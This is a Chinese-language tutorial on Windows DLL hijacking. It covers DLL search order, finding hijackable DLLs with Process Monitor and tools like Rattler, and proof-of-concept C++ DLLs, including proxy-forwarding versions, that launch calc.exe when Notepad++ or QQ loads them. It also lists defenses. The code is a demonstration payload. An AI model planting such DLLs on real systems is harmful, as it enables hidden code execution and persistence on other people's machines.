dll劫持入门
字数 1760 2025-08-24 16:48:15
DLL劫持技术详解
一、DLL劫持基础概念
DLL劫持(DLL Hijacking)是一种利用Windows系统DLL加载机制的安全漏洞攻击技术。攻击者通过将恶意DLL放置在应用程序搜索路径中优先级较高的位置,使得应用程序在运行时加载恶意DLL而非合法的系统DLL。
Windows DLL加载机制
Windows操作系统通过以下两种机制确定应用程序调用的DLL路径:
-
DLL路径搜索目录顺序:
- 程序所在目录
- 程序加载目录(SetCurrentDirectory)
- 系统目录(SYSTEM32)
- 16位系统目录(SYSTEM)
- Windows目录
- PATH环境变量中列出的目录
-
Know DLLs注册表项:
- 路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs - 这些DLL在应用程序运行后已加载到内核空间,多个进程共享这些模块
- 需要高权限才能修改
- 路径:
二、发现可劫持的DLL
使用Process Monitor手动发现
-
过滤条件设置:
- 允许的操作:
Operation is CreateFile Operation is Load Image Path contains .cpl Path contains .dll Path contains .drv Path contains .exe Path contains .ocx Path contains .scr Path contains .sys - 排除的操作:
Process Name is procmon.exe Process Name is Procmon64.exe Process Name is System Operation begins with IRP_MJ_ Operation begins with FASTIO_ Result is SUCCESS Path ends with pagefile.sys
- 允许的操作:
-
找到符合条件的DLL后,双击查看调用栈(stack),重点关注
LoadLibrary和LoadLibraryEx调用
使用自动化工具发现
-
常用工具:
- ImpulsiveDLLHijack
- Robber
- DLLHijackingScanner
- Rattler
-
Rattler使用注意事项:
- 测试软件路径不能包含中文
- 可识别两种劫持情况:
- 应用中不存在的DLL(Result显示"NAME NOT FOUND")
- 应用中存在的DLL(Result显示"SUCCESS")
三、DLL劫持实战
劫持应用中不存在的DLL
以Notepad++ 6.6.6劫持Msimg32.dll为例:
- 使用Rattler识别Msimg32.dll可被劫持
- 使用Visual Studio创建DLL项目
- 添加恶意代码(如调用计算器):
#include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { system("calc.exe"); } return TRUE; } - 将生成的DLL重命名为Msimg32.dll并复制到Notepad++目录
- 运行Notepad++时会弹出计算器
劫持应用中存在的DLL
当目标DLL已存在时,需要:
- 检查DLL导出表(相当于全局函数)
- 解决函数重命名(Name-Mangling)问题:
- 使用
extern "C"防止C++编译器改编函数名 - 示例代码:
extern "C" __declspec(dllexport) void OriginalFunctionName(); void OriginalFunctionName() { system("calc"); }
- 使用
四、转发技术
转发技术用于在加载恶意DLL后保持软件正常功能。
直接转发
只能在DllMain中利用,加载恶意DLL后调用原DLL:
- 使用工具生成转发代码
- 创建DLL项目,复制生成的代码
- 添加恶意代码(如调用计算器)
- 注意架构匹配(x86/x64)
即时调用
更灵活的转发方式:
- 使用
GetProcAddress获取原DLL函数地址 - 在恶意DLL中通过地址调用原函数
- 示例结构:
#include <windows.h> #include <stdlib.h> // 声明原函数指针类型 typedef void (*OriginalFunctionType)(); // 加载原DLL并获取函数地址 OriginalFunctionType GetOriginalFunction() { HMODULE hOriginal = LoadLibrary("OriginalDllOrg.dll"); return (OriginalFunctionType)GetProcAddress(hOriginal, "OriginalFunction"); } // 导出函数 extern "C" __declspec(dllexport) void OriginalFunction() { system("calc"); static OriginalFunctionType pOriginal = GetOriginalFunction(); if(pOriginal) pOriginal(); }
五、工具辅助劫持示例
示例1:直接转发劫持QQ
- 使用工具生成转发代码CPP文件
- 创建DLL项目,复制代码到dllmain.cpp
- 添加头文件
#include <stdlib.h> - 在DllMain中添加
system("calc"); - 生成DLL并放置到QQ目录
- 运行QQ时会弹出计算器
示例2:即时调用劫持Notepad++
- 对SciLexer.dll使用即时调用方式(直接转发可能导致Notepad++无法运行)
- 生成CPP文件并复制到项目
- 添加必要头文件:
#include <windows.h> #include <stdlib.h> - 在入口处添加计算器调用
- 最终目录应包含:
- SciLexer.dll(生成的恶意DLL)
- SciLexerOrg.dll(原DLL重命名)
- 运行Notepad++时会弹出计算器且功能正常
六、防御措施
- 使用绝对路径加载DLL
- 设置DLL搜索路径(
SetDllDirectory) - 检查DLL签名
- 使用KnownDLLs机制保护关键DLL
- 应用程序清单指定DLL依赖
七、总结
DLL劫持技术利用Windows的DLL搜索机制,通过控制DLL加载路径实现代码注入。攻击者需要:
- 识别可劫持的DLL
- 创建恶意DLL并处理函数导出
- 使用转发技术保持程序功能
- 将恶意DLL放置在优先搜索位置
防御方应加强DLL加载安全,使用安全加载API和验证机制。